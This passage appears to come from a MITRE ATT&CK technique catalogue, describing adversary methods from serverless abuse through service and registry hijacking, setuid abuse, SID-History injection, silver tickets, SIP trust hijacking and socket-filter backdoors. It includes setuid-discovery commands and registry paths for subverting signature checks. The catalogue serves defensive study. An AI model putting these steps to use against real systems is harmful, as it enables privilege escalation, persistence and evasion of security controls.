Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
T1584.007ServerlessAdversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
T1648Serverless ExecutionAdversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the IAM:PassRole permission in AWS or the iam.serviceAccounts.actAs permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)

Serverless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)
T1569.002Service ExecutionAdversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
T1035Service ExecutionAdversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
T1499.002Service Exhaustion FloodAdversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
T1058Service Registry Permissions WeaknessWindows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)
T1489Service StopAdversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)
T1574.010Services File Permissions WeaknessAdversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
T1574.011Services Registry Permissions WeaknessAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service)
T1548.001Setuid and SetgidAn adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.

Adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a “shell escape” or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an “s” instead of an “x” when viewing a file’s attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)
T1166Setuid and SetgidWhen the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an “s” instead of an “x” when viewing a file’s attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
T1129Shared ModulesAdversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcessLoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

- via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;

- via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);

- via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;

- via <file name=“filename.extension” loadFrom=“fully-qualified or relative pathname”> in an embedded or external “application manifest”. The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.


Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.
IDNameDescription
T1051Shared WebrootThis technique has been deprecated and should no longer be used.

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
T1213.002SharepointAdversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
T1547.009Shortcut ModificationAdversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.
T1023Shortcut ModificationShortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
T1178SID-History InjectionThe Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote ServicesWindows Admin Shares, or Windows Remote Management.
T1134.005SID-History InjectionAdversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote ServicesSMB/Windows Admin Shares, or Windows Remote Management.
T1558.002Silver TicketAdversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

Password hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.
T1553.003SIP and Trust Provider HijackingAdversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the DLL and Function Registry values in HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
T1198SIP and Trust Provider HijackingIn user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the DLL and Function Registry values in HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
T1021.002SMB/Windows Admin SharesAdversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/JobService Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)
T1602.001SNMP (MIB Dump)Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)
T1593.001Social MediaAdversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).
T1586.001Social Media AccountsAdversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).
T1585.001Social Media AccountsAdversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).
T1205.002Socket FiltersAdversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.
T1592.002SoftwareAdversaries may gather information about the victim’s host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).
T1072Software Deployment ToolsAdversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it’s intended purpose.
T1518Software DiscoveryAdversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.
T1045Software PackingSoftware packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
T1027.002Software PackingAdversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)
T1153SourceThis technique has been deprecated and should no longer be used.

The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the “.”. Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
T1151Space after FilenameAdversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
T1036.006Space after FilenameAdversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

